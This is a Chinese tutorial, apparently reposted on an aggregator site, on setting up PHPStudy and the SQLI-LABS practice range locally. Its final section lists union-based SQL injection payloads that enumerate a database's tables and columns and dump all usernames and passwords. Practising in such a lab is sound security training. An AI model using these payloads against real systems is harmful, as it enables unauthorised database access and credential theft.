SQL注入練習場:PHPStudy+SQLI-LABS靶場搭建教程(零基礎友好版)

注意:文中涉及演示均為模擬測試,切勿用于真實環境,任何未授權測試都是違法行為!

一、環境準備

  1. 下載PHPStudy
    官網下載地址:https://www.xp.cn/php-study(選擇Windows版)
    在這里插入圖片描述

安裝時建議選擇自定義路徑(如 D:\phpstudy_pro),避免系統盤權限問題

  1. 下載SQLI-LABS源碼
    從GitHub獲取源碼包:https://github.com/Audi-1/sqli-labs
    在這里插入圖片描述
    下載完成后解壓,將文件夾重命名為sqli-labs(避免中文路徑)。

二、PHPStudy配置

  1. 啟動基礎服務
    打開PHPStudy,啟動ApacheMySQL服務(圖2:服務啟動界面)。
    在這里插入圖片描述

若MySQL啟動失敗,檢查端口是否被占用(默認3306)。

  1. 切換PHP版本
    點擊左側菜單【網站】→ 選擇【管理】→【PHP版本】→更多→ 安裝PHP5.5.9(SQLI-LABS不支持PHP7+)。
    切換后需重啟Apache服務(圖3:PHP版本切換界面)。
    在這里插入圖片描述

三、部署SQLI-LABS靶場

  1. 放置源碼文件
    sqlilabs文件夾復制到PHPStudy的網站根目錄(默認路徑:D:\phpstudy_pro\WWW)。

  2. 配置數據庫連接
    打開文件sqlilabs/sql-connections/db-creds.inc,修改以下參數:

    $dbuser = 'root';    // 數據庫用戶名(默認)
    $dbpass = 'root';    // 數據庫密碼(若未修改則為空)
    

在這里插入圖片描述

四、初始化靶場數據庫

  1. 訪問靶場頁面
    瀏覽器輸入http://localhost/sqli-labs/,進入SQLI-LABS首頁。

點擊頁面中的Setup/reset Database for labs鏈接
在這里插入圖片描述

  1. 驗證初始化結果
    若顯示Congratulations! Database is connected...,表示數據庫創建成功。
    若報錯mysql_connect() undefined,需檢查PHP版本是否為5.x 。

五、開始注入練習

  1. 選擇關卡
    返回首頁點擊Less-1(基礎注入關卡),通過URL參數?id=1測試注入點。
    示例Payload:?id=1' and 1=2 union select 1,2,3 --+查看顯示位
    在這里插入圖片描述
    ?id=1' and 1=2 union select 1,2,database()--+顯示出數據庫名
    在這里插入圖片描述
    ?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
    查看數據庫的所有表
    在這里插入圖片描述
    ?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+查看users表中的字段
    在這里插入圖片描述
    ?id=1' and 1=2 union select 1,2,group_concat(username,0x7e,password) from security.users --+查看全部用戶名和密碼
    在這里插入圖片描述

還可以下載phpmyadmin管理數據庫
在這里插入圖片描述在這里插入圖片描述
2. 常見問題排查
數據庫連接失敗:檢查db-creds.inc密碼是否與PHPStudy的MySQL一致。
頁面無法訪問:確認sqlilabs文件夾是否位于WWW目錄,且Apache端口未被占用。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/72500.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/72500.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/72500.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

現今大語言模型性能(準確率)比較

現今大語言模型性能(準確率)比較 表頭信息:表的標題為“大語言模型性能比較結果”(英文:Table 1: Large Language Model Performance Comparison Results),表明該表是用于對比不同大語言模型的性能。列信息: 模型:列出參與比較的不同大語言模型名稱,包括LLAMA3(70B)…

Docker創建自定義網橋并指定網段

前言 docker0是Docker默認網絡的核心組件, 通過虛擬網橋和NAT技術, 實現了容器間的通信以及容器與外部網絡的交互。然而, docker0網段是固定的(通常是172.17.0.0/16), 為了更靈活地管理容器網絡,Docker支持創建自定義網橋,允許用戶指定網段。 例如, 在…

【向量數據庫Weaviate】 和Elasticsearch的區別

Weaviate 和 Elasticsearch 是兩種不同類型的數據庫,設計目標和應用場景有顯著差異。以下是它們的核心區別和適用場景的詳細對比: 1. 設計目標與核心能力 維度WeaviateElasticsearch核心能力向量數據庫 圖數據庫(語義搜索優先)全…

藍橋杯每日一題:第一周周四哞叫時間

藍橋杯每日一題:第一周周四哞叫時間 疑惑:如何把復雜度控制在Q(n),怎么枚舉a和b,longlong的形式又該怎么輸入(考慮用string) 思路:枚舉倒數第二個b前面有多少個a 這是一…

在 macOS 使用 .pem 私鑰免密登錄騰訊云服務器

前言 在騰訊云上創建服務器時,如果選擇了「密鑰對」的登錄方式,就會得到一個 .pem 文件作為私鑰。很多小伙伴在使用 macOS 系統時,可能不清楚如何使用這個私鑰文件來 SSH 免密登錄遠程服務器。本文將詳細介紹如何在本地配置 .pem 私鑰文件并…

AI學習筆記:LM studio大模型加載參數說明

LM Studio加載大模型時參數設置頁面的常見參數及設置方法如下: 上下文長度(Context Length) 意義:表示模型可以處理的最大上下文長度,即模型一次能夠考慮的輸入文本的最大token數量。較大的上下文長度能讓模型更好地…

Spring項目中常用操作記錄

List 基礎操作 創建 // 使用 ArrayList&#xff08;基于動態數組&#xff0c;適合隨機訪問&#xff09; List<String> arrayList new ArrayList<>();// 使用 LinkedList&#xff08;基于鏈表&#xff0c;適合頻繁插入/刪除&#xff09; List<Integer> li…

騰訊 TDF 即將開源 Kuikly 跨端框架,Kotlin 支持全平臺

今天&#xff0c;在騰訊的 Shiply 平臺看 Flutter 動態化自研框架 Conch 時&#xff0c;在側邊欄看到了有「跨端開發框架」的介紹&#xff0c;點開發現有兩個產品&#xff1a; Hippy&#xff1a;面向前端技術棧的跨端開發框架&#xff0c;Web原生開發體驗&#xff0c;支持 Rea…

SQL AND OR 操作符詳解

SQL AND & OR 操作符詳解 在SQL(結構化查詢語言)中,AND 和 OR 是兩種非常重要的邏輯操作符,它們用于在查詢條件中組合多個條件。理解并正確使用這些操作符對于編寫有效的SQL查詢至關重要。 引言 在處理數據庫查詢時,我們常常需要根據多個條件來篩選數據。AND 和 OR…

nginx accesslog 打印自定義header

比如我在請求的header中添加了一個path-match-type&#xff0c;那我現在nginx的accesslog 中打印出來&#xff0c;應該如何配置呢&#xff1f; rootnginx-59f5d66df6-jw5k8:/# cat /etc/nginx/nginx.conf user nginx; worker_processes auto;error_log /var/log/nginx/erro…

響應式布局的設計規范

響應式設計&#xff08;Responsive Design&#xff09; 是一種 web 設計技術&#xff0c;旨在使網頁在不同的設備和屏幕尺寸上都有良好的顯示效果。響應式設計的核心思想是網頁的布局能夠根據設備的屏幕寬度、分辨率以及其他特性自動調整&#xff0c;使其適應桌面、平板和手機等…

說一下redis事務底層原理

Redis事務 1. 事務的基本流程 Redis 事務通過 MULTI、EXEC、WATCH 等命令實現&#xff0c;底層原理可以分為以下幾個步驟&#xff1a; (1) MULTI 命令 當客戶端發送 MULTI 命令時&#xff0c;Redis 會將客戶端標記為“事務模式”。在事務模式下&#xff0c;客戶端發送的所有…

【我的Android進階之旅】如何使用NanoHttpd在Android端快速部署一個HTTP服務器?

文章目錄 開篇:程序員的"摸魚神器"?一、為什么選擇NanoHttpd?二、五分鐘極速上車指南2.1 ? 第一步:引入依賴的哲學2.2 ? 第二步:創建服務器類:繼承大法好2.3 ? 第三步:啟動服務的儀式感三、高級玩法:讓服務器不再單調3.1 ?? 場景1:變身文件服務器3.2 ?…

播放器系列3——解碼

FFmpeg解碼過程詳解 解碼流程 #mermaid-svg-FGu92IEtteOdO2tO {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-FGu92IEtteOdO2tO .error-icon{fill:#552222;}#mermaid-svg-FGu92IEtteOdO2tO .error-text{fill:#5522…

SimPO算法-Simple Preference Optimizationwith a Reference-Free Reward

偏好優化&#xff08;preference optimization &#xff09;算法大全&#xff1a; 本篇介紹下SimPO SimPO&#xff08;Simple Preference Optimization&#xff09;的設計核心在于簡化偏好優化過程&#xff0c;同時提升模型的表現。其設計主要圍繞兩個關鍵點展開&#xff1a;長…

AIGC時代:如何快速搞定Spring Boot+Vue全棧開發

文章目錄 一、Spring Boot基礎二、Vue.js基礎三、Spring Boot與Vue.js集成四、性能優化與最佳實踐《快速搞定Spring BootVue全棧開發》 內容簡介作者簡介目錄前言/序言本書內容本書特點讀者對象 隨著人工智能生成內容&#xff08;AIGC&#xff09;技術的迅速發展&#xff0c;…

探秘基帶算法:從原理到5G時代的通信變革【六】CRC 校驗

文章目錄 2.5 CRC 校驗2.5.1 前言2.5.2 CRC算法簡介2.5.3 CRC計算的詳細過程2.5.4 CRC校驗的兩種方法詳解**分離比較法****整體運算法****不同位出錯與余數的關系****總結** 2.5.5 CRC計算的C實現及工具介紹**C實現CRC計算****CRC計算工具推薦** **2.5.6 總結&#xff1a;CRC校…

AUTOSAR微控制器抽象層(MCAL)詳解及綜合實例

目錄 1. 微控制器抽象層(MCAL)概述 1.1 MCAL的核心功能 1.2 MCAL的模塊劃分 1.3 MCAL的工作流程 2. MCAL的詳細功能解析 2.1 微控制器驅動 2.1.1 時鐘配置 2.1.2 電源管理 2.1.3 實例:時鐘配置 2.2 通信驅動 2.2.1 CAN驅動 2.2.2 實例:CAN通信的實現 2.3 I/O驅…

探究高空視頻全景AR技術的實現原理

1. 引言 筆者認為現階段AR技術的應用是還是比較坑爹的&#xff0c;大都是噱頭多但是實用的成分少&#xff0c;拿出來做做DEMO是可以&#xff0c;但是難以在實際的項目中落地產生實際的經濟價值。一方面是很難在業務上難以找到合適的應用場景&#xff08;可能管線相關的項目算一…

深度解析 | 2025 AI新突破,物理信息神經網絡(PINN):Nature級頂刊的「科研加速器」,70份源碼論文速取!

&#x1f525; 為什么全球頂尖實驗室都在押注PINN&#xff1f; 過去一年&#xff0c;物理信息神經網絡&#xff08;PINN&#xff0c;Physics-Informed Neural Networks&#xff09;以「現象級」姿態席卷科研圈&#xff1a;不僅在NeurIPS、ICML等頂會橫掃15%相關論文&#xff0c…